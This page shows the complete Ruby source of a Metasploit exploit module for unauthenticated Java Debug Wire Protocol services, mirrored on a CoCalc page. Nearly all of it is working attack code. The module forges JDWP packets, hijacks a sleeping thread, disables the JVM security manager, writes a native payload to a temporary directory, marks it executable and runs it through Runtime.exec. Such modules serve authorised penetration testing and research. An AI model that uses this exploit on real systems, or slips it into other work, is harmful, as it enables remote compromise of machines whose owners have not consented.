CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
HANDSHAKE = "JDWP-Handshake"
14
15
REQUEST_PACKET_TYPE = 0x00
16
REPLY_PACKET_TYPE = 0x80
17
18
# Command signatures
19
VERSION_SIG = [1, 1]
20
CLASSESBYSIGNATURE_SIG = [1, 2]
21
ALLCLASSES_SIG = [1, 3]
22
ALLTHREADS_SIG = [1, 4]
23
IDSIZES_SIG = [1, 7]
24
CREATESTRING_SIG = [1, 11]
25
SUSPENDVM_SIG = [1, 8]
26
RESUMEVM_SIG = [1, 9]
27
SIGNATURE_SIG = [2, 1]
28
FIELDS_SIG = [2, 4]
29
METHODS_SIG = [2, 5]
30
GETVALUES_SIG = [2, 6]
31
CLASSOBJECT_SIG = [2, 11]
32
SETSTATICVALUES_SIG = [3, 2]
33
INVOKESTATICMETHOD_SIG = [3, 3]
34
CREATENEWINSTANCE_SIG = [3, 4]
35
ARRAYNEWINSTANCE_SIG = [4, 1]
36
REFERENCETYPE_SIG = [9, 1]
37
INVOKEMETHOD_SIG = [9, 6]
38
STRINGVALUE_SIG = [10, 1]
39
THREADNAME_SIG = [11, 1]
40
THREADSUSPEND_SIG = [11, 2]
41
THREADRESUME_SIG = [11, 3]
42
THREADSTATUS_SIG = [11, 4]
43
ARRAYSETVALUES_SIG = [13, 3]
44
EVENTSET_SIG = [15, 1]
45
EVENTCLEAR_SIG = [15, 2]
46
EVENTCLEARALL_SIG = [15, 3]
47
48
# Other codes
49
MODKIND_COUNT = 1
50
MODKIND_THREADONLY = 2
51
MODKIND_CLASSMATCH = 5
52
MODKIND_LOCATIONONLY = 7
53
MODKIND_STEP = 10
54
EVENT_BREAKPOINT = 2
55
EVENT_STEP = 1
56
SUSPEND_EVENTTHREAD = 1
57
SUSPEND_ALL = 2
58
NOT_IMPLEMENTED = 99
59
VM_DEAD = 112
60
INVOKE_SINGLE_THREADED = 2
61
TAG_OBJECT = 76
62
TAG_STRING = 115
63
TYPE_CLASS = 1
64
TAG_ARRAY = 91
65
TAG_VOID = 86
66
TAG_THREAD = 116
67
STEP_INTO = 0
68
STEP_MIN = 0
69
THREAD_SLEEPING_STATUS = 2
70
71
def initialize
72
super(
73
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
74
'Description' => %q{
75
This module abuses exposed Java Debug Wire Protocol services in order
76
to execute arbitrary Java code remotely. It just abuses the protocol
77
features, since no authentication is required if the service is enabled.
78
},
79
'Author' => [
80
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
81
'Christophe Alladoum', # JDWP Analysis and Exploit
82
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
83
],
84
'References' =>
85
[
86
['OSVDB', '96066'],
87
['EDB', '27179'],
88
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
89
['URL', 'https://seclists.org/nmap-dev/2010/q1/867'],
90
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
91
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
92
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
93
],
94
'Platform' => %w{ linux osx win },
95
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
96
'Payload' =>
97
{
98
'Space' => 10000000,
99
'BadChars' => '',
100
'DisableNops' => true
101
},
102
'Targets' =>
103
[
104
[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
105
[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
106
[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
107
],
108
'DefaultTarget' => 0,
109
'License' => MSF_LICENSE,
110
'DisclosureDate' => 'Mar 12 2010'
111
)
112
113
register_options(
114
[
115
Opt::RPORT(8000),
116
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
117
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
118
])
119
120
register_advanced_options(
121
[
122
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
123
])
124
end
125
126
def check
127
connect
128
res = handshake
129
disconnect
130
131
if res.nil?
132
return Exploit::CheckCode::Unknown
133
elsif res == HANDSHAKE
134
return Exploit::CheckCode::Appears
135
end
136
137
Exploit::CheckCode::Safe
138
end
139
140
141
def default_timeout
142
datastore['RESPONSE_TIMEOUT']
143
end
144
145
# Establishes handshake with the server
146
def handshake
147
sock.put(HANDSHAKE)
148
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
149
end
150
151
# Forges packet for JDWP protocol
152
def create_packet(cmdsig, data="")
153
flags = 0x00
154
cmdset, cmd = cmdsig
155
pktlen = data.length + 11
156
buf = [pktlen, @my_id, flags, cmdset, cmd]
157
pkt = buf.pack("NNCCC")
158
pkt << data
159
@my_id += 2
160
pkt
161
end
162
163
# Reads packet response for JDWP protocol
164
def read_reply(timeout = default_timeout)
165
length = sock.get_once(4, timeout)
166
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
167
pkt_len = length.unpack('N')[0]
168
if pkt_len < 4
169
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
170
end
171
id, flags, err_code = sock.get_once(7, timeout).unpack('NCn')
172
if err_code != 0 && flags == REPLY_PACKET_TYPE
173
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
174
end
175
176
response = ""
177
while response.length + 11 < pkt_len
178
partial = sock.get_once(pkt_len, timeout)
179
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
180
response << partial
181
end
182
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len
183
response
184
end
185
186
# Returns the characters contained in the string defined in target VM
187
def solve_string(data)
188
sock.put(create_packet(STRINGVALUE_SIG, data))
189
response = read_reply
190
return "" unless response
191
return read_string(response)
192
end
193
194
# Unpacks received string structure from the server response into a normal string
195
def read_string(data)
196
data_len = data.unpack('N')[0]
197
return data[4,data_len]
198
end
199
200
# Creates a new string object in the target VM and returns its id
201
def create_string(data)
202
buf = build_string(data)
203
sock.put(create_packet(CREATESTRING_SIG, buf))
204
buf = read_reply
205
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
206
end
207
208
# Packs normal string into string structure for target VM
209
def build_string(data)
210
ret = [data.length].pack('N')
211
ret << data
212
213
ret
214
end
215
216
# Pack Integer for JDWP protocol
217
def format(fmt, value)
218
if fmt == "L" || fmt == 8
219
return [value].pack('Q>')
220
elsif fmt == "I" || fmt == 4
221
return [value].pack('N')
222
end
223
224
fail_with(Failure::Unknown, "Unknown format")
225
end
226
227
# Unpack Integer from JDWP protocol
228
def unformat(fmt, value)
229
if fmt == "L" || fmt == 8
230
return value[0..7].unpack('Q>')[0]
231
elsif fmt == "I" || fmt == 4
232
return value[0..3].unpack('N')[0]
233
end
234
235
fail_with(Failure::Unknown, "Unknown format")
236
end
237
238
# Parses given data according to a set of formats
239
def parse_entries(buf, formats, explicit=true)
240
entries = []
241
index = 0
242
243
if explicit
244
nb_entries = buf.unpack('N')[0]
245
buf = buf[4..-1]
246
else
247
nb_entries = 1
248
end
249
250
nb_entries.times do |var|
251
252
if var != 0 && var % 1000 == 0
253
vprint_status("Parsed #{var} classes of #{nb_entries}")
254
end
255
256
data = {}
257
258
formats.each do |fmt,name|
259
if fmt == "L" || fmt == 8
260
data[name] = buf[index, 8].unpack('Q>')[0]
261
index += 8
262
elsif fmt == "I" || fmt == 4
263
data[name] = buf[index, 4].unpack('N')[0]
264
index += 4
265
elsif fmt == "S"
266
data_len = buf[index, 4].unpack('N')[0]
267
data[name] = buf[index + 4, data_len]
268
index += 4 + data_len
269
elsif fmt == "C"
270
data[name] = buf[index].unpack('C')[0]
271
index += 1
272
elsif fmt == "Z"
273
t = buf[index].unpack('C')[0]
274
if t == 115
275
data[name] = solve_string(buf[index + 1, 8])
276
index += 9
277
elsif t == 73
278
data[name], buf = buf[index +1, 4].unpack('NN')
279
end
280
else
281
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
282
end
283
284
end
285
entries.append(data)
286
end
287
288
entries
289
end
290
291
# Gets the sizes of variably-sized data types in the target VM
292
def get_sizes
293
formats = [
294
["I", "fieldid_size"],
295
["I", "methodid_size"],
296
["I", "objectid_size"],
297
["I", "referencetypeid_size"],
298
["I", "frameid_size"]
299
]
300
sock.put(create_packet(IDSIZES_SIG))
301
response = read_reply
302
entries = parse_entries(response, formats, false)
303
entries.each { |e| @vars.merge!(e) }
304
end
305
306
# Gets the JDWP version implemented by the target VM
307
def get_version
308
formats = [
309
["S", "descr"],
310
["I", "jdwp_major"],
311
["I", "jdwp_minor"],
312
["S", "vm_version"],
313
["S", "vm_name"]
314
]
315
sock.put(create_packet(VERSION_SIG))
316
response = read_reply
317
entries = parse_entries(response, formats, false)
318
entries.each { |e| @vars.merge!(e) }
319
end
320
321
def version
322
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
323
end
324
325
# Returns reference for all threads currently running on target VM
326
def get_all_threads
327
sock.put(create_packet(ALLTHREADS_SIG))
328
response = read_reply
329
num_threads = response.unpack('N').first
330
index = 4
331
332
size = @vars["objectid_size"]
333
num_threads.times do
334
t_id = unformat(size, response[index, size])
335
@threads[t_id] = nil
336
index += size
337
end
338
end
339
340
# Returns reference types for all classes currently loaded by the target VM
341
def get_all_classes
342
return unless @classes.empty?
343
344
formats = [
345
["C", "reftype_tag"],
346
[@vars["referencetypeid_size"], "reftype_id"],
347
["S", "signature"],
348
["I", "status"]
349
]
350
sock.put(create_packet(ALLCLASSES_SIG))
351
response = read_reply
352
@classes.append(parse_entries(response, formats))
353
end
354
355
# Checks if specified class is currently loaded by the target VM and returns it
356
def get_class_by_name(name)
357
@classes.each do |entry_array|
358
entry_array.each do |entry|
359
if entry["signature"].downcase == name.downcase
360
return entry
361
end
362
end
363
end
364
365
nil
366
end
367
368
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
369
# The list of methods will include constructors (identified with the name "<init>")
370
def get_methods(reftype_id)
371
if @methods.has_key?(reftype_id)
372
return @methods[reftype_id]
373
end
374
375
formats = [
376
[@vars["methodid_size"], "method_id"],
377
["S", "name"],
378
["S", "signature"],
379
["I", "mod_bits"]
380
]
381
ref_id = format(@vars["referencetypeid_size"],reftype_id)
382
sock.put(create_packet(METHODS_SIG, ref_id))
383
response = read_reply
384
@methods[reftype_id] = parse_entries(response, formats)
385
end
386
387
# Returns information for each field in a reference type (ie. object)
388
def get_fields(reftype_id)
389
formats = [
390
[@vars["fieldid_size"], "field_id"],
391
["S", "name"],
392
["S", "signature"],
393
["I", "mod_bits"]
394
]
395
ref_id = format(@vars["referencetypeid_size"],reftype_id)
396
sock.put(create_packet(FIELDS_SIG, ref_id))
397
response = read_reply
398
fields = parse_entries(response, formats)
399
400
fields
401
end
402
403
# Returns the value of one static field of the reference type. The field must be member of the reference type
404
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
405
# for example, the values of private fields can be obtained.
406
def get_value(reftype_id, field_id)
407
data = format(@vars["referencetypeid_size"],reftype_id)
408
data << [1].pack('N')
409
data << format(@vars["fieldid_size"],field_id)
410
411
sock.put(create_packet(GETVALUES_SIG, data))
412
response = read_reply
413
num_values = response.unpack('N')[0]
414
415
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
416
fail_with(Failure::Unknown, "Bad response when getting value for field")
417
end
418
419
len = @vars["objectid_size"]
420
value = unformat(len, response[5..-1])
421
422
value
423
end
424
425
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
426
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
427
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
428
# the field's type exactly. For object values, there must exist a widening reference conversion from the
429
# value's type to the field's type and the field's type must be loaded.
430
def set_value(reftype_id, field_id, value)
431
data = format(@vars["referencetypeid_size"],reftype_id)
432
data << [1].pack('N')
433
data << format(@vars["fieldid_size"],field_id)
434
data << format(@vars["objectid_size"],value)
435
436
sock.put(create_packet(SETSTATICVALUES_SIG, data))
437
read_reply
438
end
439
440
441
# Checks if specified method is currently loaded by the target VM and returns it
442
def get_method_by_name(classname, name, signature = nil)
443
@methods[classname].each do |entry|
444
if signature.nil?
445
return entry if entry["name"].downcase == name.downcase
446
else
447
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
448
return entry
449
end
450
end
451
end
452
453
nil
454
end
455
456
# Checks if specified class and method are currently loaded by the target VM and returns them
457
def get_class_and_method(looked_class, looked_method, signature = nil)
458
target_class = get_class_by_name(looked_class)
459
unless target_class
460
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
461
end
462
463
get_methods(target_class["reftype_id"])
464
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
465
unless target_method
466
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
467
end
468
469
return target_class, target_method
470
end
471
472
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
473
def str_to_fq_class(s)
474
i = s.rindex(".")
475
unless i
476
fail_with(Failure::BadConfig, 'Bad defined break class')
477
end
478
479
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
480
481
classname = 'L'
482
classname << s[0..i-1].gsub(/[.]/, '/')
483
classname << ';'
484
485
return classname, method
486
end
487
488
# Gets the status of a given thread
489
def thread_status(thread_id)
490
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
491
buf = read_reply(datastore['BREAK_TIMEOUT'])
492
unless buf
493
fail_with(Failure::Unknown, "No network response")
494
end
495
status, suspend_status = buf.unpack('NN')
496
497
status
498
end
499
500
# Resumes execution of the application or thread after the suspend command or an event has stopped it
501
def resume_vm(thread_id = nil)
502
if thread_id.nil?
503
sock.put(create_packet(RESUMEVM_SIG))
504
else
505
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
506
end
507
508
response = read_reply(datastore['BREAK_TIMEOUT'])
509
unless response
510
fail_with(Failure::Unknown, "No network response")
511
end
512
513
response
514
end
515
516
# Suspend execution of the application or thread
517
def suspend_vm(thread_id = nil)
518
if thread_id.nil?
519
sock.put(create_packet(SUSPENDVM_SIG))
520
else
521
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
522
end
523
524
response = read_reply
525
unless response
526
fail_with(Failure::Unknown, "No network response")
527
end
528
529
response
530
end
531
532
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
533
def send_event(event_code, args)
534
data = [event_code].pack('C')
535
data << [SUSPEND_ALL].pack('C')
536
data << [args.length].pack('N')
537
538
args.each do |kind,option|
539
data << [kind].pack('C')
540
data << option
541
end
542
543
sock.put(create_packet(EVENTSET_SIG, data))
544
response = read_reply
545
unless response
546
fail_with(Failure::Unknown, "#{peer} - No network response")
547
end
548
return response.unpack('N')[0]
549
end
550
551
# Parses a received event and compares it with the expected
552
def parse_event(buf, event_id, thread_id)
553
len = @vars["objectid_size"]
554
return false if buf.length < 10 + len - 1
555
556
r_id = buf[6..9].unpack('N')[0]
557
t_id = unformat(len,buf[10..10+len-1])
558
559
return (event_id == r_id) && (thread_id == t_id)
560
end
561
562
# Clear a defined event request
563
def clear_event(event_code, r_id)
564
data = [event_code].pack('C')
565
data << [r_id].pack('N')
566
sock.put(create_packet(EVENTCLEAR_SIG, data))
567
read_reply
568
end
569
570
# Invokes a static method. The method must be member of the class type or one of its superclasses,
571
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
572
# methods can be invoked.
573
def invoke_static(class_id, thread_id, meth_id, args = [])
574
data = format(@vars["referencetypeid_size"], class_id)
575
data << format(@vars["objectid_size"], thread_id)
576
data << format(@vars["methodid_size"], meth_id)
577
data << [args.length].pack('N')
578
579
args.each do |arg|
580
data << arg
581
data << [0].pack('N')
582
end
583
584
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
585
buf = read_reply
586
buf
587
end
588
589
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
590
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
591
# can be invoked.
592
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
593
data = format(@vars["objectid_size"], obj_id)
594
data << format(@vars["objectid_size"], thread_id)
595
data << format(@vars["referencetypeid_size"], class_id)
596
data << format(@vars["methodid_size"], meth_id)
597
data << [args.length].pack('N')
598
599
args.each do |arg|
600
data << arg
601
data << [0].pack('N')
602
end
603
604
sock.put(create_packet(INVOKEMETHOD_SIG, data))
605
buf = read_reply
606
buf
607
end
608
609
# Creates a new object of specified class, invoking the specified constructor. The constructor
610
# method ID must be a member of the class type.
611
def create_instance(class_id, thread_id, meth_id, args = [])
612
data = format(@vars["referencetypeid_size"], class_id)
613
data << format(@vars["objectid_size"], thread_id)
614
data << format(@vars["methodid_size"], meth_id)
615
data << [args.length].pack('N')
616
617
args.each do |arg|
618
data << arg
619
data << [0].pack('N')
620
end
621
622
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
623
buf = read_reply
624
buf
625
end
626
627
# Creates a byte[]
628
def create_array(len)
629
target_class = get_class_by_name("[B")
630
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
631
632
type_id = target_class["reftype_id"]
633
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
634
635
data = format(@vars["referencetypeid_size"], type_id)
636
data << [len].pack('N')
637
638
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
639
buf = read_reply
640
buf
641
end
642
643
# Initializes the byte[] with values
644
def set_values(obj_id, args = [])
645
data = format(@vars["objectid_size"], obj_id)
646
data << [0].pack('N')
647
data << [args.length].pack('N')
648
649
args.each do |arg|
650
data << [arg].pack('C')
651
end
652
653
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
654
read_reply
655
end
656
657
def temp_path
658
return nil unless datastore['TMP_PATH']
659
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
660
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
661
end
662
datastore['TMP_PATH']
663
end
664
665
# Configures payload according to targeted architecture
666
def setup_payload
667
# 1. Setting up generic values.
668
payload_exe = rand_text_alphanumeric(4 + rand(4))
669
pl_exe = generate_payload_exe
670
671
# 2. Setting up arch specific...
672
case target['Platform']
673
when 'linux'
674
path = temp_path || '/tmp/'
675
payload_exe = "#{path}#{payload_exe}"
676
when 'osx'
677
path = temp_path || '/private/tmp/'
678
payload_exe = "#{path}#{payload_exe}"
679
when 'win'
680
path = temp_path || './'
681
payload_exe = "#{path}#{payload_exe}.exe"
682
end
683
684
if @os.downcase =~ /target['Platform']/
685
print_warning("#{@os} system detected but using #{target['Platform']} target...")
686
end
687
688
return payload_exe, pl_exe
689
end
690
691
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
692
def fingerprint_os(thread_id)
693
size = @vars["objectid_size"]
694
695
# 1. Creates a string on target VM with the property to be getted
696
cmd_obj_ids = create_string("os.name")
697
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
698
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
699
700
# 2. Gets property
701
data = [TAG_OBJECT].pack('C')
702
data << format(size, cmd_obj_id)
703
data_array = [data]
704
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
705
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
706
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
707
708
str = unformat(size, buf[1..1+size-1])
709
@os = solve_string(format(@vars["objectid_size"],str))
710
end
711
712
# Creates a file on the server given a execution thread
713
def create_file(thread_id, filename)
714
cmd_obj_ids = create_string(filename)
715
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
716
717
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
718
size = @vars["objectid_size"]
719
data = [TAG_OBJECT].pack('C')
720
data << format(size, cmd_obj_id)
721
data_array = [data]
722
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
723
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
724
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
725
726
file = unformat(size, buf[1..1+size-1])
727
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
728
729
register_files_for_cleanup(filename)
730
731
file
732
end
733
734
# Stores the payload on a new string created in target VM
735
def upload_payload(thread_id, pl_exe)
736
size = @vars["objectid_size"]
737
738
buf = create_array(pl_exe.length)
739
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
740
741
pl = unformat(size, buf[1..1+size-1])
742
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
743
744
set_values(pl, pl_exe.bytes)
745
pl
746
end
747
748
# Dumps the payload on a opened server file given a execution thread
749
def dump_payload(thread_id, file, pl)
750
size = @vars["objectid_size"]
751
data = [TAG_OBJECT].pack('C')
752
data << format(size, pl)
753
data_array = [data]
754
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
755
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
756
unless buf[0] == [TAG_VOID].pack('C')
757
fail_with(Failure::Unknown, "Exception while writing to file")
758
end
759
end
760
761
# Closes a file on the server given a execution thread
762
def close_file(thread_id, file)
763
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
764
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
765
unless buf[0] == [TAG_VOID].pack('C')
766
fail_with(Failure::Unknown, "Exception while closing file")
767
end
768
end
769
770
# Executes a system command on target VM making use of java.lang.Runtime.exec()
771
def execute_command(thread_id, cmd)
772
size = @vars["objectid_size"]
773
774
# 1. Creates a string on target VM with the command to be executed
775
cmd_obj_ids = create_string(cmd)
776
if cmd_obj_ids.length == 0
777
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
778
end
779
780
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
781
782
# 2. Gets Runtime context
783
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
784
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
785
unless buf[0] == [TAG_OBJECT].pack('C')
786
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
787
end
788
789
rt = unformat(size, buf[1..1+size-1])
790
if rt.nil? || (rt == 0)
791
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
792
end
793
794
# 3. Finds and executes "exec" method supplying the string with the command
795
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
796
if exec_meth.nil?
797
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
798
end
799
800
data = [TAG_OBJECT].pack('C')
801
data << format(size, cmd_obj_id)
802
data_array = [data]
803
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
804
unless buf[0] == [TAG_OBJECT].pack('C')
805
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
806
end
807
end
808
809
# Set event for stepping into a running thread
810
def set_step_event
811
# 1. Select a thread in sleeping status
812
t_id = nil
813
@threads.each_key do |thread|
814
if thread_status(thread) == THREAD_SLEEPING_STATUS
815
t_id = thread
816
break
817
end
818
end
819
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
820
821
# 2. Suspend the VM before setting the event
822
suspend_vm
823
824
vprint_status("Setting 'step into' event in thread: #{t_id}")
825
step_info = format(@vars["objectid_size"], t_id)
826
step_info << [STEP_MIN].pack('N')
827
step_info << [STEP_INTO].pack('N')
828
data = [[MODKIND_STEP, step_info]]
829
830
r_id = send_event(EVENT_STEP, data)
831
unless r_id
832
fail_with(Failure::Unknown, "Could not set the event")
833
end
834
835
return r_id, t_id
836
end
837
838
# Disables security manager if it's set on target JVM
839
def disable_sec_manager
840
sys_class = get_class_by_name("Ljava/lang/System;")
841
842
fields = get_fields(sys_class["reftype_id"])
843
844
sec_field = nil
845
846
fields.each do |field|
847
sec_field = field["field_id"] if field["name"].downcase == "security"
848
end
849
850
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
851
852
value = get_value(sys_class["reftype_id"], sec_field)
853
854
if(value == 0)
855
print_good("Security manager was not set")
856
else
857
set_value(sys_class["reftype_id"], sec_field, 0)
858
if get_value(sys_class["reftype_id"], sec_field) == 0
859
print_good("Security manager has been disabled")
860
else
861
print_good("Security manager has not been disabled, trying anyway...")
862
end
863
end
864
end
865
866
# Uploads & executes the payload on the target VM
867
def exec_payload(thread_id)
868
# 0. Fingerprinting OS
869
fingerprint_os(thread_id)
870
871
vprint_status("Executing payload on \"#{@os}\", target version: #{version}")
872
873
# 1. Prepares the payload
874
payload_exe, pl_exe = setup_payload
875
876
# 2. Creates file on server for dumping payload
877
file = create_file(thread_id, payload_exe)
878
879
# 3. Uploads payload to the server
880
pl = upload_payload(thread_id, pl_exe)
881
882
# 4. Dumps uploaded payload into file on the server
883
dump_payload(thread_id, file, pl)
884
885
# 5. Closes the file on the server
886
close_file(thread_id, file)
887
888
# 5b. When linux arch, give execution permissions to file
889
if target['Platform'] == 'linux' || target['Platform'] == 'osx'
890
cmd = "chmod +x #{payload_exe}"
891
execute_command(thread_id, cmd)
892
end
893
894
# 6. Executes the dumped payload
895
cmd = "#{payload_exe}"
896
execute_command(thread_id, cmd)
897
end
898
899
900
def exploit
901
@my_id = 0x01
902
@vars = {}
903
@classes = []
904
@methods = {}
905
@threads = {}
906
@os = nil
907
908
connect
909
910
unless handshake == HANDSHAKE
911
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
912
end
913
914
print_status("Retrieving the sizes of variable sized data types in the target VM...")
915
get_sizes
916
917
print_status("Getting the version of the target VM...")
918
get_version
919
920
print_status("Getting all currently loaded classes by the target VM...")
921
get_all_classes
922
923
print_status("Getting all running threads in the target VM...")
924
get_all_threads
925
926
print_status("Setting 'step into' event...")
927
r_id, t_id = set_step_event
928
929
print_status("Resuming VM and waiting for an event...")
930
response = resume_vm
931
932
unless parse_event(response, r_id, t_id)
933
datastore['NUM_RETRIES'].times do |i|
934
print_status("Received #{i + 1} responses that are not a 'step into' event...")
935
buf = read_reply
936
break if parse_event(buf, r_id, t_id)
937
938
if i == datastore['NUM_RETRIES']
939
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
940
end
941
end
942
end
943
944
vprint_status("Received matching event from thread #{t_id}")
945
print_status("Deleting step event...")
946
clear_event(EVENT_STEP, r_id)
947
948
print_status("Disabling security manager if set...")
949
disable_sec_manager
950
951
print_status("Dropping and executing payload...")
952
exec_payload(t_id)
953
954
disconnect
955
end
956
end
957
958